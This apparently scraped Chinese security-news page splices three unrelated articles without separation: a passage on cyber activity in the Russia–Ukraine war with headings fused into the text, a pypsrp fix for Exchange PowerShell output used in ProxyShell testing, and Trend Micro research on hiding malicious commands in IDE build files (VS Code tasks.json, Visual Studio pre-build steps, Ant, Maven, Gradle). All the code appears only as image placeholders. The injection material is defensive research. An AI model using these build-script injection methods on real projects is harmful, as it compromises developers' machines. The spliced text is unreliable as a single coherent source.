隨著衝突的持續,流行的開源軟件包可以被開發人員或黑客用作抗議或攻擊平台;

這種攻擊的影響可以進一步擴展到開源軟件本身,傳播到其他自動依賴木馬代碼的軟件包;

市場撕裂在過去的幾年中,尤其是2014年之後,這一過程開始擴展到IT安全領域,國家通過法律禁止彼此的產品、服務和公司。自2022年2月俄烏衝突爆發以來,我們看到許多西方公司退出俄羅斯市場,讓他們的用戶在獲得安全更新或支持方面陷入困境。與此同時,一些西方國家推動法律禁止使用俄羅斯軟件和服務,因為這些軟件和服務有被用於發動攻擊的潛在風險。顯然,不能完全排除政治壓力將一些小市場主體的產品、技術和服務武器化的可能性。然而,當涉及到全球市場領導者和受人尊敬的供應商時,我們認為這是極不可能的。

另一方面,尋找替代解決方案可能是極其複雜的。我們經常發現,來自本地供應商的產品的安全開發文化通常明顯不如全球領先企業,它們很可能存在顯而易見安全錯誤和零日漏洞,使它們很容易成為網絡犯罪分子和黑客活動分子的獵物。

網絡攻擊對戰爭結果的影響地緣政治正在發揮重要作用,分裂的進程可能會擴大;

當供應商終止對產品的支持或退出市場時,安全更新可能是首要問題;

用本地產品取代成熟的全球領導者,可能會為利用零日漏洞的網絡犯罪分子打開大門;

網絡戰爭會爆發嗎?自俄烏衝突開始以來,網絡安全界一直在爭論烏克蘭發生的事情是否屬於“網絡戰爭”。一個不爭的事實是,衝突爆發時確實發生了重大網絡活動。

另一方面,許多觀察家認為,在發生衝突的情況下,先發製人的網絡攻擊會讓自己佔據主動。但事實上,除了Viasat事件(其實際影響仍難以評估)之外,這一事件根本沒有發生。這場衝突反而揭示了網絡力量和實際戰場之間缺乏協調,並在許多方面將網絡攻擊降格為從屬角色。在衝突的最初幾週觀察到勒索軟件攻擊,充其量只能算是乾擾。後來,當今年11月衝突升級,烏克蘭基礎設施(尤其是能源網絡)明確成為目標後,很明顯,俄羅斯軍方選擇的工具是導彈,而不是網絡攻擊。

如果你認同網絡戰爭的定義,即通過網絡手段支持的任何動態衝突,無論其戰術或戰略價值如何,那麼2022年2月確實發生了一場網絡戰爭。

網絡攻擊對戰爭結果的影響遠沒有想像的那麼大,事實證明,對計算機的物理破壞似乎更容易、更便宜、更可靠。我們認為,網絡攻擊在戰爭背景下的效果以前被我們大大高估了。

總結俄烏衝突將對整個網絡安全行業和環境產生持久影響。無論“網絡戰爭”一詞是否適用,不可否認的是,當一個大國捲入戰爭時,衝突將永遠改變每個人對戰時網絡活動的期望。

在戰爭爆發之前,幾個正在進行的多方進程(聯合國OEWG和GGE)試圖就網絡空間中可接受和負責任的行為達成共識。鑑於全球目前所經歷的極端地緣政治緊張局勢,這些本已艱難的討論能否在不久的將來取得成果令人懷疑。

0x00 前言pypsrp是用於PowerShell遠程協議(PSRP)服務的Python客戶端。我在研究過程中,發現在Exchange Powershell下存在一些輸出的問題,本文將要介紹研究過程,給出解決方法。

0x01 簡介Exchange PowerShell Remoting

pypsrp的使用

pypsrp存在的輸出問題

解決方法

0x02 Exchange PowerShell Remoting參考資料:

https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps

默認設置下,需要注意以下問題:

所有域用戶都可以連接Exchange PowerShell

需要在域內主機上發起連接

連接地址需要使用FQDN,不支持IP

通過Powershell連接Exchange PowerShell的命令示例:

1.png通過pypsrp連接Exchange PowerShell的命令示例:

2.png如果想要加入調試信息,可以添加以下代碼:

WX20221201-104743@2x.png

0x03 pypsrp存在的輸出問題我們在Exchange PowerShell下執行命令的完整返回結果如下圖

4.png但是通過pypsrp連接Exchange PowerShell執行命令時,輸出結果不完整,無法獲得命令的完整信息,如下圖

5.png

0x04 解決方法1.定位問題

通過查看源碼,定位到代碼位置:https://github.com/jborean93/pypsrp/blob/704f6cc49c8334f71b12ce10673964f037656782/src/pypsrp/messages.py#L207

我們可以在這裡添加輸出message_data的代碼,代碼示例:

6.png返回結果:

10.png 11.png 12.png 13.png在調用serializer.deserialize(message_data)提取輸出結果時,這裡只提取到了一組數據,忽略了完整的結果

經過簡單的分析,發現標籤內包含完整的輸出結果,所以這裡可先通過字符串截取提取出標籤內的數據,示例代碼:

15.png進一步分析提取出來的數據,發現每個標籤分別對應一項屬性,為了提高效率,這裡使用xml.dom.minidom解析成xml格式並提取元素,示例代碼:

16.png經測試,以上代碼能夠輸出完整的結果

按照pypsrp的代碼格式,得出優化pypsrp輸出結果的代碼:

17.png使用修改過的pypsrp連接Exchange PowerShell執行命令時,能夠返回完整的輸出結果,如下圖

18.png

經測試,在測試ProxyShell的過程中,使用修改過的pypsrp也能得到完整的輸出結果

補充:

如果使用原始版本pypsrp測試ProxyShell,可通過解析代理的返回結果實現,其中需要注意的是在作Base64解密時,由於存在不可見字符,無法使用.decode('utf-8')解碼,可以換用.decode('ISO-8859-1'),還需要考慮數據被分段的問題,實現的示例代碼如下:

19.png0x05 小結本文介紹了通過pypsrp連接Exchange PowerShell執行命令返回完整輸出結果的解決方法。

最近,趨勢科技的研究人員分析了幾種可被濫用來攻擊供應鏈的攻擊載體的概念證明,其中一種便是針對開發者的供應鏈攻擊,該證明重點關注了本地集成開發環境(IDE),考慮當項目或生成被錯誤地“信任”時,通過注入命令執行惡意生成腳本的情況。

在本文中,我們將關注供應鏈的一個特定部分——開發者本身。要找到針對開發者的合適攻擊模型,我們必須首先了解誰是開發者、他們的工作流程和日常工具。我們還將重點放在開發者和他們各自的工具如何被濫用來破壞供應鏈。

誰是“開發者”?按照字面理解,將開發者定義為開發計算機軟件的人。在安全研究人員的理解中,則是寫代碼的人。這包括流行的編程或腳本語言,如Java、JavaScript、TypeScript、Go、Python、C/c++和許多其他語言,包括基礎設施或容器部署定義,如Dockerfile、Kubernetes、Terraform HCL等。僅從這個描述來看,該定義就涵蓋了IT行業的各個部分,包括編寫代碼的每個人、安全研究人員等等。

儘管工作流本身可能因開發者和公司的不同而有所不同,但根據開發者如何使用集成開發者環境(IDE),它很可能屬於以下類別之一:

1.本地IDE:開發者在自己的設備上本地安裝了IDE。在這種情況下,開發者有兩個選擇:

1.1將代碼拉入或推送到遠程存儲庫,並在本地執行生成和調試;

1.2將更改提交到遠程存儲庫,觸發持續集成/持續交付(CI/CD)事件,並導致質量保證(QA)評估,甚至部署到生產環境中。

2.雲IDE:開發者使用雲服務託管的IDE,如AWS Cloud9、Visual Studio Online、GitHub代碼空間和許多其他當今可用的平台。在這種情況下,開發者設備就像網關一樣工作,通常通過瀏覽器訪問IDE,主要的代碼執行是在雲服務提供者內部的雲IDE的遠程主機中執行的。

由於開發者涵蓋多個職業,一些工作流可能會從列表中排除一些項目。例如,本文的概念證明很可能不會建立一個完整的CI/CD管道。然而,大多數工作流將包括使用IDE進行開發。在這篇文章中,我們將重點放在本地IDE上。

本地IDE的示例當使用本地IDE時,其中一個示例是開發者將代碼拉到本地計算機上。該代碼被進一步編譯為二進制格式,以便執行。對以前的貢獻者編寫的代碼有一種隱含的信任,因為大多數開發者認為代碼庫可能不會被污染,因為它可以按預期工作。這種信任不僅存在於源代碼本身中,還存在於生成腳本、庫、依賴項和其他項目文件中。這就引出了第一個攻擊場景:將惡意操作注入到項目文件或生成腳本中。

作為開發者,在執行遠程代碼之前,是否有必要在拉入遠程代碼之後閱讀生成腳本?

研究人員通過向生成腳本或項目文件注入惡意生成命令(如果適用的話)來測試各種流行的IDE和編程語言。以下是測試的IDE版本的結果:

Eclipse2022-09ApacheNetBeans16PyCharm2022.2.4IntelliJIDEA2022.03VisualStudio2022VisualStudioCode1.73.1當我們考慮通用攻擊模型時,還必須包括每個非受控輸入。這包括源代碼及其文件,並包括生成前和生成後腳本和IDE擴展(如果適用的話)。我們之前在2020年的一篇文章中寫過可能存在惡意IDE擴展的危險。

1.png

IDE攻擊模型

我們為每個IDE定義了以下場景,以驗證可能的攻擊模型:

開發者在線從不受信任的存儲庫中拉入代碼;

開發者在IDE中打開一個項目;

開發者試圖編譯或生成項目;

使用Visual Studio代碼從Visual Studio Code 1.57版(2021年5月發布)開始,代碼編輯器引入了Workspace Trust的概念。此功能通過防止代碼從不受信任的文件和存儲庫執行,幫助開發者安全地瀏覽和編輯代碼,而不考慮源代碼或作者。這可能是由於當時第三方擴展漏洞的數量不斷增加,當被濫用時,在打開不受信任的文件時,可能會允許遠程代碼執行(RCE)。這個概念很簡單:除非工作區是可信的,否則它不允許任何(生成/調試)任務或某些擴展功能運行。這就可以將責任轉移到開發者身上,並提示他們是否要信任下載的代碼。

這裡要強調的是,不要盲目地信任每一個工作區。

2.png

Visual Studio代碼工作區信任對話框

開發者應該尋找和考慮哪些代碼不應該被信任的可疑跡象?在其他示例中,應該引起開發者警惕的跡象包括:

較低的下載量;

論壇上共享的項目;

灰色區域;

一般未經證實的來源;

未知的人;

在執行IDE任務之前,應通過審計項目目錄中的文件以查找可疑或惡意命令來驗證.vscode/tasks.json文件,尤其是從未知源下載時。

3.png

惡意生成任務的示例

惡意命令可以隱藏在tasks.json文件下並偽裝成生成命令。當開發者試圖生成之前盲目信任的項目時,開發者設備將執行遠程代碼,這可能是惡意的。攻擊者還可以通過在常規生成命令之間隱藏惡意命令,使有效負載更為隱蔽,這將減少開發者的懷疑。

在模擬中,我們通過Pastebin在遠程服務器上放置了一個腳本。這是一種被一些攻擊者濫用的方法,將其惡意有效載荷發送到受感染的設備中。這項技術對攻擊者的好處是可以遠程更改有效載荷。例如,在成功感染後,可以將有效負載更改為無害的內容。

使用Visual StudioVisual Studio是Microsoft用於.NET和C++開發的專有IDE,它沒有工作區信任功能。因此,開發者在加載不受信任的項目文件和執行生成時應該格外小心。惡意的生成前或生成後任務可能會被注入到文件中,從而導致從生成開始就執行不必要的執行。

4.png

Visual Studio項目文件預生成任務命令示例

5.png

嵌入預生成PowerShell執行的概念驗證示例

使用其他IDE在Eclipse IDE中,仍然可以注入生成命令。因此,文件是不同的。首先,ExternalToolBuilder的生成命令必須在.project文件中指定,參考在. externaltoolbuilders文件夾中定義實際執行命令的另一個文件。通過將多個生成命令鏈接在一起,我們可以實現與Visual Studio Code中相同的多個命令執行。

6.png

.project文件節鏈接生成執行規範的示例

7.png

生成事件外部命令規範

由於使用外部生成工具的項目文件注入適用於基本IDE的範圍,因此它僅適用於實際代碼編譯為二進製文件的語言。這包括Java和C/c++,但不包括像PHP這樣的語言,因為不執行生成。

NetBeans IDE主要用於Java開發,儘管它還通過第三方擴展支持PHP、HTML5、JavaScript或C/C++開發。 Java開發項目可以利用Maven、Gradle或Ant作為其依賴關係管理和生成自動化工具。因此,項目和生成定義可能不同。然而,所有這些工具都支持將第三方流程作為生成前或生成後操作來執行。在這種情況下,攻擊者可以注入惡意代碼,並希望開發者不會注意到並不情願地執行。

對於Ant,注入可以在nbproject/build-impl.xml文件中完成,方法是將以下代碼片段添加到一個合適的目標標記中:

8.png

Ant的注入點和触發生成時的命令執行示例

當開發者使用Maven作為生成工具時,可以通過更改項目文件夾中的pom.xml來實現相同的目標。這一次,在生成標記中使用了org.codehaus.mojo插件。所使用的語法類似於Ant所使用的語法。

9.png

Maven第三方執行示例

對於Gradle,Groovy語言腳本用於位於app/build.gradle內部的生成定義,並且對所選任務內的字符串調用execute()函數將觸發代碼執行。

10.png

Gradle第三方執行示例

儘管“打開項目”對話框有一個“信任項目生成腳本”選項,但其功能僅對Gradle項目有效。如果未選中,它將阻止Gradle腳本啟動,因此,當加載項目作為CVE-2020-11986修復時,代碼執行是可能的。儘管如此,當用戶決定手動執行生成時,不會顯示進一步的對話框,並且生成被認為是可信的。

11.png

NetBeans中的“信任項目生成腳本”複選框

IntelliJ IDEA是另一個用於Java、Kotlin、Groovy和其他基於Java虛擬機(JVM)的語言開發的IDE。它還支持Ant生成腳本。加載包含Ant生成腳本的項目會觸發一個對話框警告,提示它可能會執行潛在的惡意代碼,如果它不是來自可信的源,建議使用安全模式。當開發者試圖在安全模式下執行生成時,IDE會警告用戶該操作只能在可信模式下完成。

12.png

IntelliJ IDEA顯示潛在惡意生成腳本的警告

13.png

IntelliJ IDEA生成安全模式生成警告

PyCharm是用於Python開發的IDE。 Python腳本通常不會在執行之前編譯。然而,開發者仍然可以指定自定義運行/調試配置,允許在實際腳本執行之前執行第三方二進製文件。這可能用於腳本數據輸入準備。

14.png

運行執行前的外部工具

該操作在項目內部被參考。但是,實際的可執行規範存儲在不同的位置,更具體地說,存儲在~/.config/JetBrains/PyCharmXXXX/tools/External Tools.xml。正如我們所看到的,該文件存儲在用戶主目錄中,保護它不受攻擊模型場景的影響,因為它需要修改本地文件系統。

15.png

運行前任務參考

16.png

運行前任務定義

總結研究人員使用執行惡意生成腳本的攻擊場景評估了所有已識別的IDE,向這些生成腳本中註入惡意命令是可能的。如上所述,一些IDE明確警告開發者惡意操作的可能性,除非項目配置將其標記為明確可信,否則不允許執行任務。另一方面,一些IDE使用這樣的假設,即當開發者打開一個項目或將其複製到他的工作區時,它會自動被信任,並且不需要任何進一步的操作。

無論我們使用什麼IDE,總會權衡安全性和可用性。開發者不應該盲目地相信互聯網上的每一個開源項目。在執行任何生成操作之前,開發者至少應該知道他們有可能成為目標並審查生成腳本。

我們還想強調,上述攻擊場景不僅限於本地IDE,而且安全重要性在於所使用的工作流和工作區信任本身,無論開發者在容器或支持在線IDE的VM中執行實際生成/編譯的情況如何。一旦工作區被標記為可信,並且生成腳本被修改,它可能會在環境中觸發不需要的代碼執行,並導致IDE具有訪問權限。以下是開發者可以記住的一些最佳安全實踐:

使用安全配置的CI/CD平台,在具有適當的基於角色的訪問控制(RBAC)的外部設備或服務上執行生成,只有授權人員才能更改生成腳本;

在集成到項目之前,檢查外部源代碼和生成腳本;

避免在審計之前盲目使用開箱即用的解決方案,特別是當這些解決方案在社區中沒有廣泛使用或來自未經核實的來源時;

定期跟踪變更並進行審查。